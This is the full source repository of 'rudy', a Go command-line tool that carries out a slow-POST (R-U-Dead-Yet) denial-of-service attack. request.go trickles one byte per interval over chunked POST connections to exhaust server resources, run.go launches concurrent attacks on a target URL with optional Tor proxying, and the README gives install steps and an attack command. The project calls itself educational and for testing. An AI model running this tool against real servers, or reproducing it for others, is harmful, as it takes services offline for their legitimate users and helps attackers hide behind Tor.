├── logger └── logger.go ├── rudy.go ├── go.mod ├── .github └── workflows │ └── release.yml ├── .goreleaser.yml ├── .golangci.yml ├── cmd └── rudy │ └── main.go ├── LICENSE ├── commands ├── list.go ├── server.go └── run.go ├── go.sum ├── request └── request.go └── README.md /logger/logger.go: -------------------------------------------------------------------------------- 1 | // Package logger wrap the logger 2 | package logger 3 | 4 | import "go.uber.org/zap" 5 | 6 | // Logger is the global logger. 7 | var Logger, _ = zap.NewDevelopment() 8 | -------------------------------------------------------------------------------- /rudy.go: -------------------------------------------------------------------------------- 1 | // Package main is the main entrypoint 2 | package main 3 | 4 | import ( 5 | "github.com/darkweak/rudy/commands" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | func main() { 10 | var root cobra.Command 11 | 12 | commands.Prepare(&root) 13 | 14 | err := root.Execute() 15 | if err != nil { 16 | panic(err) 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/darkweak/rudy 2 | 3 | go 1.25 4 | 5 | require ( 6 | github.com/dustin/go-humanize v1.0.1 7 | github.com/spf13/cobra v1.10.1 8 | github.com/spf13/pflag v1.0.10 9 | go.uber.org/zap v1.27.0 10 | ) 11 | 12 | require ( 13 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 14 | go.uber.org/multierr v1.10.0 // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Release the rudy binary 2 | 3 | on: 4 | create: 5 | tags: ["v*"] 6 | 7 | jobs: 8 | generate-artifacts: 9 | name: Deploy to goreleaser 10 | runs-on: ubuntu-latest 11 | steps: 12 | - 13 | name: Set up Go 14 | uses: actions/setup-go@v6 15 | with: 16 | go-version: 1.25 17 | - 18 | name: Checkout 19 | uses: actions/checkout@v5 20 | with: 21 | fetch-depth: 0 22 | - 23 | name: Run GoReleaser 24 | uses: goreleaser/goreleaser-action@v6 25 | with: 26 | version: latest 27 | args: release --rm-dist 28 | env: 29 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 30 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | before: 2 | hooks: 3 | - go mod download 4 | builds: 5 | - <<: &build_defaults 6 | ldflags: 7 | - -s -w 8 | env: 9 | - CGO_ENABLED=0 10 | goos: 11 | - linux 12 | - darwin 13 | - windows 14 | goarch: 15 | - 386 16 | - amd64 17 | - arm 18 | - arm64 19 | ignore: 20 | - goos: windows 21 | goarch: arm64 22 | archives: 23 | - 24 | name_template: >- 25 | {{ .ProjectName }}_ 26 | {{- title .Os }}_ 27 | {{- if eq .Arch "amd64" }}x86_64 28 | {{- else if eq .Arch "386" }}i386 29 | {{- else }}{{ .Arch }}{{ end }} 30 | format_overrides: 31 | - 32 | goos: windows 33 | format: zip 34 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | 3 | linters: 4 | default: all 5 | disable: 6 | - gochecknoglobals 7 | - ireturn 8 | - wsl # Deprecated 9 | settings: 10 | depguard: 11 | rules: 12 | main: 13 | allow: 14 | - $gostd 15 | - github.com/darkweak/rudy 16 | - github.com/dustin/go-humanize 17 | - github.com/spf13/cobra 18 | - github.com/spf13/pflag 19 | - go.uber.org/zap 20 | issues: 21 | fix: true 22 | 23 | # run: 24 | # timeout: 30s 25 | # issues-exit-code: 1 26 | # 27 | # whitespace: 28 | # multi-if: true 29 | # multi-func: true 30 | # 31 | # linters: 32 | # enable-all: true 33 | # disable: 34 | # - gochecknoglobals 35 | # - golint 36 | # - gomnd 37 | # - ireturn 38 | -------------------------------------------------------------------------------- /cmd/rudy/main.go: -------------------------------------------------------------------------------- 1 | // Package main is the entrypoint 2 | package main 3 | 4 | import ( 5 | "context" 6 | "log" 7 | "os" 8 | "os/signal" 9 | 10 | "github.com/darkweak/rudy/commands" 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | func trapSignals(ctx context.Context, cancel context.CancelFunc) { 15 | sig := make(chan os.Signal, 1) 16 | signal.Notify(sig, os.Interrupt) 17 | 18 | select { 19 | case <-sig: 20 | log.Println("[INFO] SIGINT: Stopping RUDY") 21 | cancel() 22 | case <-ctx.Done(): 23 | return 24 | } 25 | } 26 | 27 | func main() { 28 | ctx, cancel := context.WithCancel(context.Background()) 29 | defer cancel() 30 | 31 | go trapSignals(ctx, cancel) 32 | 33 | var root cobra.Command 34 | 35 | commands.Prepare(&root) 36 | 37 | err := root.Execute() 38 | if err != nil { 39 | panic(err) 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 darkweak 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /commands/list.go: -------------------------------------------------------------------------------- 1 | // Package commands handle the commands 2 | package commands 3 | 4 | import ( 5 | "github.com/spf13/cobra" 6 | "github.com/spf13/pflag" 7 | ) 8 | 9 | var list = []commandInstanciator{newRun, newServer} 10 | 11 | type ( 12 | command interface { 13 | Info() string 14 | GetArgs() cobra.PositionalArgs 15 | GetDescription() string 16 | GetLongDescription() string 17 | GetRequiredFlags() []string 18 | Run() RunCmd 19 | SetFlags(p *pflag.FlagSet) 20 | } 21 | commandInstanciator func() command 22 | // RunCmd is the command to run. 23 | RunCmd func(cmd *cobra.Command, args []string) 24 | ) 25 | 26 | // Prepare is the setup. 27 | func Prepare(root *cobra.Command) { 28 | for _, item := range list { 29 | var cobraCmd cobra.Command 30 | 31 | instance := item() 32 | 33 | cobraCmd.Use = instance.Info() 34 | cobraCmd.Short = instance.GetDescription() 35 | cobraCmd.Long = instance.GetLongDescription() 36 | cobraCmd.Args = instance.GetArgs() 37 | cobraCmd.Run = instance.Run() 38 | 39 | instance.SetFlags(cobraCmd.Flags()) 40 | 41 | for _, f := range instance.GetRequiredFlags() { 42 | _ = cobraCmd.MarkFlagRequired(f) 43 | } 44 | 45 | root.AddCommand(&cobraCmd) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /commands/server.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/spf13/cobra" 7 | "github.com/spf13/pflag" 8 | ) 9 | 10 | // Server helper. 11 | type Server struct{} 12 | 13 | // GetRequiredFlags returns the server required flags. 14 | func (*Server) GetRequiredFlags() []string { 15 | return []string{} 16 | } 17 | 18 | // ServeHTTP handle any request. 19 | func (*Server) ServeHTTP(rw http.ResponseWriter, _ *http.Request) { 20 | rw.WriteHeader(http.StatusOK) 21 | _, _ = rw.Write([]byte("Hello")) 22 | } 23 | 24 | // SetFlags set the available flags. 25 | func (*Server) SetFlags(_ *pflag.FlagSet) {} 26 | 27 | // GetArgs return the args. 28 | func (*Server) GetArgs() cobra.PositionalArgs { 29 | return nil 30 | } 31 | 32 | // GetDescription returns the command description. 33 | func (*Server) GetDescription() string { 34 | return "Run the rudy web server" 35 | } 36 | 37 | // GetLongDescription returns the command long description. 38 | func (*Server) GetLongDescription() string { 39 | return "Run the rudy web server" 40 | } 41 | 42 | // Info returns the command name. 43 | func (*Server) Info() string { 44 | return "server" 45 | } 46 | 47 | // Run executes the script associated to the command. 48 | func (s *Server) Run() RunCmd { 49 | return func(_ *cobra.Command, _ []string) { 50 | _ = http.ListenAndServe(":8081", s) //nolint:gosec // not relevant because that's for testing purpose. 51 | } 52 | } 53 | 54 | func newServer() command { 55 | return &Server{} 56 | } 57 | 58 | var ( 59 | _ command = (*Server)(nil) 60 | _ commandInstanciator = newServer 61 | ) 62 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= 5 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= 6 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 7 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 8 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 9 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 10 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 11 | github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s= 12 | github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0= 13 | github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 14 | github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= 15 | github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 16 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 17 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 18 | go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= 19 | go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= 20 | go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ= 21 | go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 22 | go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= 23 | go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= 24 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 25 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 26 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 27 | -------------------------------------------------------------------------------- /request/request.go: -------------------------------------------------------------------------------- 1 | // Package request handles the request lifetime. 2 | package request 3 | 4 | import ( 5 | "bytes" 6 | "context" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | "net/url" 11 | "time" 12 | 13 | "github.com/darkweak/rudy/logger" 14 | ) 15 | 16 | type request struct { 17 | client *http.Client 18 | delay time.Duration 19 | payloadSize int64 20 | req *http.Request 21 | } 22 | 23 | // Request is a rapper. 24 | type Request interface { 25 | WithTor(endpoint string) *request 26 | Send() error 27 | } 28 | 29 | // NewRequest creates the request. 30 | func NewRequest(size int64, u string, delay time.Duration) Request { 31 | req, _ := http.NewRequestWithContext(context.Background(), http.MethodPost, u, nil) 32 | req.ProtoMajor = 1 33 | req.ProtoMinor = 1 34 | req.TransferEncoding = []string{"chunked"} 35 | req.Header = make(map[string][]string) 36 | 37 | return &request{ 38 | client: http.DefaultClient, 39 | delay: delay, 40 | payloadSize: size, 41 | req: req, 42 | } 43 | } 44 | 45 | func (r *request) WithTor(endpoint string) *request { 46 | torProxy, err := url.Parse(endpoint) 47 | if err != nil { 48 | panic("Failed to parse proxy URL:" + err.Error()) 49 | } 50 | 51 | var transport http.Transport 52 | 53 | transport.Proxy = http.ProxyURL(torProxy) 54 | r.client.Transport = &transport 55 | 56 | return r 57 | } 58 | 59 | func (r *request) Send() error { 60 | pipeReader, pipeWriter := io.Pipe() 61 | r.req.Body = pipeReader 62 | closerChan := make(chan int) 63 | 64 | defer close(closerChan) 65 | 66 | go func() { 67 | buf := make([]byte, 1) 68 | newBuffer := bytes.NewBuffer(make([]byte, r.payloadSize)) 69 | 70 | defer func() { 71 | _ = pipeWriter.Close() 72 | }() 73 | 74 | for { 75 | select { 76 | case <-closerChan: 77 | return 78 | default: 79 | if n, _ := newBuffer.Read(buf); n == 0 { 80 | break 81 | } 82 | 83 | _, _ = pipeWriter.Write(buf) 84 | 85 | logger.Logger.Sugar().Infof("Sent 1 byte of %d to %s", r.payloadSize, r.req.URL) 86 | time.Sleep(r.delay) 87 | } 88 | } 89 | }() 90 | 91 | var err error 92 | 93 | res, err := r.client.Do(r.req) 94 | if err != nil { 95 | err = fmt.Errorf("an error occurred during the request: %w", err) 96 | logger.Logger.Sugar().Error(err) 97 | 98 | closerChan <- 1 99 | } 100 | 101 | defer func() { 102 | _ = res.Body.Close() 103 | }() 104 | 105 | return err 106 | } 107 | -------------------------------------------------------------------------------- /commands/run.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "math" 5 | "sync" 6 | "time" 7 | 8 | "github.com/darkweak/rudy/logger" 9 | "github.com/darkweak/rudy/request" 10 | "github.com/dustin/go-humanize" 11 | "github.com/spf13/cobra" 12 | "github.com/spf13/pflag" 13 | ) 14 | 15 | var ( 16 | concurrents int64 17 | filepath string 18 | interval time.Duration 19 | size string 20 | tor string 21 | url string 22 | ) 23 | 24 | const defaultInterval = 10 * time.Second 25 | 26 | // Run is the runtime. 27 | type Run struct{} 28 | 29 | // SetFlags set the available flags. 30 | func (*Run) SetFlags(flags *pflag.FlagSet) { 31 | flags.Int64VarP(&concurrents, "concurrents", "c", 1, "Concurrent requests count.") 32 | flags.StringVarP(&filepath, "filepath", "f", "", "Filepath to the payload.") 33 | flags.DurationVarP(&interval, "interval", "i", defaultInterval, "Interval between packets.") 34 | // Default ~1MB 35 | flags.StringVarP(&size, "payload-size", "p", "1MB", "Random generated payload with the given size.") 36 | flags.StringVarP(&tor, "tor", "t", "", "TOR endpoint (either socks5://1.1.1.1:1234, or 1.1.1.1:1234).") 37 | flags.StringVarP(&url, "url", "u", "", "Target URL to send the attack to.") 38 | } 39 | 40 | // GetRequiredFlags returns the server required flags. 41 | func (*Run) GetRequiredFlags() []string { 42 | return []string{"url"} 43 | } 44 | 45 | // GetArgs return the args. 46 | func (*Run) GetArgs() cobra.PositionalArgs { 47 | return nil 48 | } 49 | 50 | // GetDescription returns the command description. 51 | func (*Run) GetDescription() string { 52 | return "Run the rudy attack" 53 | } 54 | 55 | // GetLongDescription returns the command long description. 56 | func (*Run) GetLongDescription() string { 57 | return "Run the rudy attack on the target" 58 | } 59 | 60 | // Info returns the command name. 61 | func (*Run) Info() string { 62 | return "run -u http://domain.com" 63 | } 64 | 65 | // Run executes the script associated to the command. 66 | func (*Run) Run() RunCmd { 67 | return func(_ *cobra.Command, _ []string) { 68 | var waitgroup sync.WaitGroup 69 | 70 | isize, e := humanize.ParseBytes(size) 71 | if e != nil { 72 | panic(e) 73 | } 74 | 75 | waitgroup.Add(int(concurrents)) 76 | 77 | for range concurrents { 78 | go func() { 79 | if isize > math.MaxInt64 { 80 | return 81 | } 82 | 83 | req := request.NewRequest(int64(isize), url, interval) 84 | if tor != "" { 85 | req.WithTor(tor) 86 | } 87 | 88 | if req.Send() == nil { 89 | logger.Logger.Sugar().Infof("Request successfully sent to %s", url) 90 | } 91 | 92 | waitgroup.Done() 93 | }() 94 | } 95 | 96 | waitgroup.Wait() 97 | } 98 | } 99 | 100 | func newRun() command { 101 | return &Run{} 102 | } 103 | 104 | var ( 105 | _ command = (*Run)(nil) 106 | _ commandInstanciator = newRun 107 | ) 108 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | RUDY (R-U-Dead-Yet?) 2 | ==================== 3 | 4 | ## What is the RUDY Attack? 5 | R.U.D.Y., short for R U Dead yet, is an acronym used to describe a Denial of Service (DoS) tool used by hackers to perform slow-rate a.k.a. “Low and slow” attacks by directing long form fields to the targeted server. It is known to have an interactive console, thus making it a user-friendly tool. It opens fewer connections to the website being targeted for a long period and keeps the sessions open as long as it is feasible. The amount of open sessions overtires the server or website making it unavailable for the authentic visitors. The data is sent in small packs at an incredibly slow rate; normally there is a gap of ten seconds between each byte but these intervals are not definite and may vary to avert detection. 6 | 7 | The victim servers of these types of attacks may face issues such as not being able to access a particular website, disrupt their connection, drastically slow network performance, etc. 8 | 9 | This project is for educational, testing and research purpose. 10 | 11 | The RUDY attack opens concurrent POST HTTP connections to the HTTP server and delays sending the body of the POST request to the point that the server resources are saturated. This attack sends numerous small packets at a very slow rate to keep the connection open and the server busy. This low-and slow attack behavior makes it relatively difficult to detect, compared to flooding DoS attacks that raise the traffic volume abnormally. 12 | 13 | ## How to install and run rudy? 14 | 15 | ### Using `go install` 16 | ```bash 17 | go install github.com/darkweak/rudy/cmd/rudy@latest 18 | rudy [command] 19 | ``` 20 | 21 | ### Using directly `go` 22 | ```bash 23 | git clone https://github.com/darkweak/rudy 24 | cd rudy 25 | go run rudy.go [command] 26 | ``` 27 | 28 | ### Using `go build` 29 | ```bash 30 | git clone https://github.com/darkweak/rudy 31 | cd rudy 32 | go build -o rudy rudy.go 33 | rudy [command] 34 | ``` 35 | 36 | ## Commands 37 | ### Attack a target 38 | ```bash 39 | rudy run -u http://domain.com 40 | ``` 41 | 42 | There are some options to change the rudy default behaviour 43 | | Name | Description | Long flag | Short flag | Example value | Default value | 44 | |:--------------------|:-------------------------------------------------------------------------|:-----------------|:-----------|:------------------------|:--------------| 45 | | URL | The target URL to run the attack on. | `--url` | `-u` | `http://domain.com` | | 46 | | Concurrent requests | The number of concurrent requests to send on the target. | `--concurrents` | `-c` | `4` | `1` | 47 | | Filepath | Filepath to the payload to send. By default it's a random payload (1MB). | `--filepath` | `-f` | `/somewhere/file` | | 48 | | Interval | Interval duration between the requests. | `--interval` | `-i` | `3s` | `10s` | 49 | | Size | Random payload size to send. Used if no filepath given. | `--payload-size` | `-p` | `1GB` | `1MB` | 50 | | Tor | Use TOR proxy to send the requests. | `--tor` | `-t` | `socks5://tor_endpoint` | | 51 | 52 | ### Run the testing server 53 | It will start a server on the port `:8081` 54 | ```bash 55 | rudy server 56 | ``` 57 | --------------------------------------------------------------------------------